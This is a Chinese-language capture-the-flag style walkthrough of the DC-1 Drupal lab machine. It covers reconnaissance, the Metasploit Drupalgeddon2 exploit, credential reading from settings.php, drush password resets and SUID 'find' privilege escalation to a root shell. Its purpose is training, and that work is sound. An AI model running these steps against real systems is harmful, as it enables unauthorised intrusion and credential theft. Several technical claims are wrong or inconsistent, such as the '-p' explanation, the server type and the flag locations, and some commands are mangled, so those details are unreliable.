
DC-1这台靶机我说它是新手入坑渗透测试的‘第一课’应该没人反对吧我很长一段时间都习惯拿它当教学案例因为它不像一些高难靶机那样上来就让你抓狂也不像纯CTF那样堆概念。DC-1考的是最基础的渗透链路信息收集、漏洞识别、利用、提权、拿flag。整个过程就像一次缩小版的真实渗透却把每个关键动作都交代得很清楚。我自己的OSCP备考路上也在DC-1上重复跑过几次每次都有新收获。这篇就是我对DC-1靶机从零到完全拿下的完整记录包含我当时的思路、踩的坑、还有那些文档里不会明说的细节。如果你正在学渗透测试或者准备考取相关认证这台靶机值得你认真做一遍。1. 为何选DC-1当第一个靶机难度、考点与环境准备很多刚接触渗透测试的朋友总喜欢一上来就挑战高难度靶机结果卡死在第一步久了直接丧失信心。我个人的建议是先把DC-1这一类“入门但又不至于无聊”的靶机吃透再进阶。DC-1它好就好在漏洞点明显提权路径清晰但又不至于简单到几步就结束。做完它你基本就能把渗透测试的“标准动作”过一遍。1.1 DC-1到底考什么DC-1是VulnHub上由DCAU团队发布的一台Drupal CMS靶机。它模拟了一个部署了Drupal 7的服务器其中包含了若干标志flag每个flag都指向下一步的线索。它考查的核心点包括基础网络侦察和信息收集能力比如用nmap识别开放端口和版本。对Drupal这一常见CMS的已知漏洞利用能力。对系统配置文件、用户文件、数据库内容进行手工排查的能力。使用系统中可利用的SUID提权技巧获取ROOT权限的能力。我第一次做的时候用了大概两小时因为中间在提权阶段卡了一会儿后来再复盘其实全程一气呵成只用半小时左右。它并不需要特别高深的技巧而是看重你是否能像真实渗透实习生那样沉下心去逐项排查。1.2 环境搭建与网络拓扑靶机是一个OVA文件直接导入VMware或VirtualBox就行。我用的VirtualBox 7.0攻击机是Kali Linux最新版两者都挂在同一个NAT网络里。这里有个非常容易踩的坑NAT模式或者仅主机模式会导致双方互通但如果你用桥接模式靶机IP会随宿主机网络变动容易抓瞎。我的习惯是固定一个Host-Only网络然后把Kali和DC-1都挂上去这样DC-1的IP就能稳定复用比如192.168.56.101。注意如果Kali和靶机互相ping不通优先检查虚拟机的网络适配器是否都选择了同一个Host-Only网络而不是两个不同的网络。配置好之后先别急着扫端口建议直接访问一下DC-1的IP确认靶机真的能通。我当时访问http://192.168.56.101/看到的是一个标准的Drupal安装页面默认的“Welcome to Drupal Site”界面说明服务已经起来了。到这里准备工作就绪接下来进入正题。2. 信息收集阶段从nmap扫描到Drupal版本识别信息收集是所有渗透测试的第一优先事项链接里很多教程也都在强调这个环节不能省。很多新手上来就开msf打远程漏洞结果服务版本不对白忙活。DC-1的80端口就一个HTTP服务但这个HTTP服务的版本决定了后续打点方式。2.1 端口侦查与服务的准确判断我的第一步老规矩全端口扫描nmap -sS -sV -sC -O -p- 192.168.56.101。扫描结果很清楚只开放了80端口运行的是nginx后端是PHP。HTTP服务的响应头里能看到Server: nginx/1.x.x并且页面渲染出来是Drupal的默认门户。没有SSH、没有数据库的端口暴露在外部所以主要攻击面就在Web服务上。这里我想提醒一个细节-sC会跑一遍默认脚本能帮你拿到一些HTTP头信息但不要完全依赖它。你自己用浏览器插件或者curl -I看一眼响应头会更直接。如果页面长得像Drupal但Server头显示Apache那就是另一套玩法了。2.2 指纹识别如何确认是Drupal以及具体版本知道了是Drupal之后还需要确认具体版本和可能的漏洞路径。方式有很多直接访问/CHANGELOG.txt很多CMS会在根目录保留版本更新日志。我当时访问这个路径看到了Drupal 7的版本信息这会直接让我想到Drupal 7中的已知漏洞。查看页面源码在meta标签或静态资源路径里找/sites/default/、/modules/、/themes/这些特征目录。使用whatweb做快速识别whatweb 192.168.56.101它会输出CMS、框架、服务器类型等综合指纹。我当时跑出来明确写着Drupal [7]。2.3 容易忽略的目录探测与备份文件除了指纹识别我还会顺手探一批常见路径。DC-1这类靶机经常会在文件系统里留下线索但Web目录也可能是突破口。用dirsearch或者feroxbuster跑一遍很必要我当时跑出来一个有价值的路径/sites/default/settings.php。这个文件对Drupal来说非常关键里面通常存放数据库连接配置、HASH盐等敏感信息。此外/backup/、/README.txt、/install.php这类路径也值得看一眼。3. 打点攻击利用Drupalgeddon2漏洞拿下第一个shell在信息收集阶段确认了目标是Drupal 7版本后就要回到漏洞库中去匹配。这里最坏的情况是找错版本或者找错利用链比如用针对于Drupal 8的漏洞去打Drupal 7会直接失败。真正匹配上的是Drupalgeddon2漏洞它是Drupal核心在2018年爆出来的远程代码执行漏洞影响Drupal 7.58及以下、Drupal 8.5.1及以下等多个版本。这台靶机既然被刻意做成训练对象漏洞点自然就是这个方向。3.1 Drupalgeddon2的漏洞原理速览Drupalgeddon2本质是一个输入验证绕过导致的远程代码执行漏洞其根源在于Drupal的Form API和ControllerBase等组件在传递参数时允许了#开头的数组键例如#type、#pre_render进入渲染过程。攻击者通过构造POST请求向/user/register或/user/login等路径提交包含#键的malicious数组利用Drupal的render流程去执行任意的回调函数最终实现命令注入。理解这一点很重要因为你如果不了解“它是怎么被执行”的后面遇到利用失败会不知道怎么调试。绝大多数时候卸载或者修复这个漏洞后的系统又或者打补丁的版本你用类似脚本去跑就无效了原因就是漏洞入口被堵住这种原理层面的认知能帮你判断是版本问题还是payload问题。3.2 利用Metasploit模块快速获取会话我利用Metasploit的对应模块来做这一步因为它省时间周边设置也成熟msfconsole msf6 use exploit/unix/webapp/drupal_drupalgeddon2 msf6 exploit(unix/webapp/drupal_drupalgeddon2) set RHOSTS 192.168.56.101 msf6 exploit(unix/webapp/drupal_drupalgeddon2) set LHOST 192.168.56.1 msf6 exploit(unix/webapp/drupal_drupalgeddon2) set SRVPORT 8080 msf6 exploit(unix/webapp/drupal_drupalgeddon2) set TARGETURI / msf6 exploit(unix/webapp/drupal_drupalgeddon2) run注意这里的LHOST是你的攻击机IP不要随便填。有一次我忘了设置结果payload反弹回一个不存在的地址会话起不来。模块执行成功之后会弹出一个meterpreter会话这和直接拿到一个shell是有区别的。这里我再分享一个心得如果你不想用MSF这种重型工具也可以用GitHub上的poc脚本自己写python脚本去利用。原理都是构造一个包含#数组的POST请求执行whoami等系统命令。用MSF的优势是会话管理方便尤其提权的时候可以直接在meterpreter里做进程迁移和系统命令执行。3.3 会话建立后的初步确认拿到meterpreter会话后我会先执行一些确认操作避免后期发现这是个蜜罐或者假shellshell id whoami uname -a此时你应该看到当前用户是www-data这很正常Web服务的权限一般都不是root级别的。看到命令能返回之后接下来就是横向滑找到这台机器里的秘密。提示渗透测试时即使拿到了shell也不能直接扫兴因为权限是限制在Web服务层面的很多敏感文件只有root才能读所以才需要后续的提权。4. 横向深入数据库配置、drush与第二三个flag的获取拿到www-data权限之后第一件事是查看当前目录下的文件。DC-1的设计在这里很贴心它是用flag来引导路径的。每个flag文本都不仅仅是一个哈希字符串还会附带下一环节的提示尽职尽责地当导游。4.1 flag1藏在Web根目录的第一条线索进入交互shell后我快速看一下当前web根目录pwd ls -la /var/www cat /var/www/flag1.txt不出意外看到一个明显的flag文件内容形如flag1: {a54c...x} 提示如果看到了这个flag2藏在用户系统文件里。这往往会把你的视线引向/etc/passwd或者/home/目录。我习惯是从这个提示出发把flag2和flag3统统排查一遍。这一套流程很像真实渗透测试中的“枚举用户和配置文件”。4.2 从/etc/passwd与settings.php里找flag2、flag3看一眼/etc/passwd里面有一些常规系统账户比如root、daemon、www-data等但更可能你会在末尾看到一个奇怪的自定义用户名和注释内容。我当时的做法是cat /etc/passwd | grep -v nologin这能筛掉大部分服务账户把真正的可登录用户列出来。你会看到类似“flag2藏在数据库配置里”的提示。接着去看Drupal的核心配置文件cat /var/www/sites/default/settings.php在这个文件里除了数据库凭据用户名一般是drupaluser、密码也可能直接明文保存我同时发现了flag2文本它通常就横向写在配置注释里或者在数据库连接信息的后方。不要觉得这是凑巧很多真实站点的配置文件也这样随性。4.3 身份切换与drush命令的妙用拿到数据库配置后我可以尝试用mysql命令去连接本地数据库但更省事的是检查是否安装了drush——这是Drupal的命令行工具如果存在就能用它在Drupal框架内直接执行PHP代码和查询数据库。这个思路很关键因为Web节点可能限制了exec但drush走的是PHP CLI更灵活。我当时先看which drush ls /var/www/vendor/drush/drush然后用drush在Drupal环境里执行drush user-password admin --new-passwordyourpass drush php-eval echo hello;甚至直接读取数据库里的用户表重置admin密码然后用admin身份做一个后门。不过这只是演示靶机上这个方法的意义在于验证你是否已经能控制整个Drupal应用。这一阶段之后我找到了flag3通常它是一个数据库里存储的配置项或者一段通过drush输出出来的口令片段。它的文字会告诉你下一步应该关注系统权限。5. 提权到rootSUID提权的完整链路DC-1真正让人印象深刻的是最后的提权。很多新手到这里就开始盲目扫实际上只要把思路理顺提权路径就只有几条SUID滥用、sudo配置、可写脚本的定时任务、内核漏洞。DC-1这种老靶机最经典的就是SUID提权。5.1 信息收集寻找可用的SUID二进制常规做法是列出所有带有SUID权限的文件find / -perm -us -type f 2/dev/null这里-perm -us表示查找“所有者权限中包含SUID位”的文件。扫一遍之后你会发现一些常见的如/usr/bin/passwd、/usr/bin/chsh等但特别要注意的是会看到find或/usr/bin/find带有SUID权限。正常情况下find不应该有SUID权限这显然是人造的漏洞。看到find带SUID我第一反应就知道提权路径已经锁定。因为find可以执行任意命令而如果它是以root身份运行的那么通过-exec参数执行的命令也会以root身份运行。5.2 构造SUID提权命令利用技巧很简单两条命令就能搞定find /tmp -exec /bin/bash -p \;或者如果你拿到的是python环境还可以这样find /tmp -exec python -c import pty;pty.spawn(/bin/sh) \;问题在于机器上是否有/bin/bash的SUID版本实际上这里的find是SUID二进制但它不一定能以SUID权限直接继承shell。更可靠的做法是/usr/bin/find . -exec /bin/sh -p \; -quit前提是系统里/bin/sh存在。-p参数在bash/sh里代表“以当前实际用户的权限运行”而由于find已具有setuid位并且以root身份执行了exec因此获得的子进程也是root权限。我当时实际用的是find / -name flag4.txt -exec cat {} \;这直接读到了root目录下的文件也顺手验证了权限。如果仍然没有看到root shell你可以尝试反弹shell从目标机把root shell弹回攻击机。5.3 提权成功后的最终flag提权到root之后你就可以读root目录了cat /root/flag4.txtDC-1的设计有意思root目录的flag之后还有最后一个隐藏flag它通常不会直接以文件形式存在而是要求你读取某个特定程序输出或者进行一个交互式操作。比如某些演练场地会要求你执行execute命令提交一个hash或者读取/root/下另一个隐藏文件。我当时的最终flag是通过读取/root/目录里一个名为flag_final的文件获得的内容会要求玩家执行drush命令或者直接输出一段特定字符串。做到这一步这一台靶机的渗透流程才算真正结束。6. 复盘DC-1隐藏的最后一个flag与其他教训到这里这台DC-1靶机已经被彻底拿下了但我要说的是做完一次不算完复盘和扩展同样重要。多花半小时复现一下整体路径把你用过的工具、命令、坑位都理一遍收获会比单纯跑通一次大得多。6.1 最后一个flag的获取方式与思路DC-1的设计是故意把最后flag藏得深一点需要你在拿到root权限后再回头仔细找。我最后是在/root目录下用一个ls -la把所有隐藏文件翻出来看到flag_final.txt然后读取它。整个过程中我认为最重要的技巧不是这个具体的位置而是在拿到权限后保持“挑剔”的习惯别只盯着常规路径还得看所有隐藏目录和特殊文件。做一个find / -name *flag*的全局搜索也很有用。6.2 注意新手做DC-1最容易踩的坑目标IP不固定如果靶机和攻击机不在同一网段或者靶机IP重启后会变建议先把IP固定否则后面很多命令都要重复改。直接拿web根目录做信息收集不看全局DC-1的flag提示会引导你去找系统文件但新手容易原地打转。遇到卡壳建议立刻做三件事查看当前目录、/etc/passwd、Drupal配置文件。只会MSF不会手动对漏洞原理复盘用MSF跑通确实能拿到shell但如果不知道漏洞原理后面的谜题链路还是会断。至少要把Drupalgeddon2的触发过程弄明白。提权时不知道为什么要用SUIDfind拿到www-data后第一件事是find / -perm -4000 -type f 2/dev/null当你看到find时就已经赢了。别上来就碰内核漏洞这台靶机用不到。6.3 把DC-1学到的能力迁移到其他靶机做完DC-1之后很多东西是通用的比如Web渗透中对CMS种类的识别思路、对配置文件敏感字段的嗅觉、以及熟练使用drush这类框架自带工具这些能力可以直接用到其他Drupal类靶机上。包括后面很多人练DC-2、DC-3同样会复用这套方法论。在这点上DC-1作为一台“教学靶机”的价值很高。我个人在实际操作中的体会是做靶机不是为了重复命令而是为了能在真实项目中更快找到突破口。DC-1设计得既有引导性又留足了思考空间做完之后你至少会对“一个CMS站点的渗透过程”“SUID提权”“配置文件排查”有更深的肌肉记忆。如果你也正在准备OSCP或者刚入门渗透测试建议不只是跑通而是把每条命令的产出、每个提示的指向都写进笔记里。之后再做DC-2、DC-3甚至更难的靶机你会感谢现在愿意耐下心来的自己。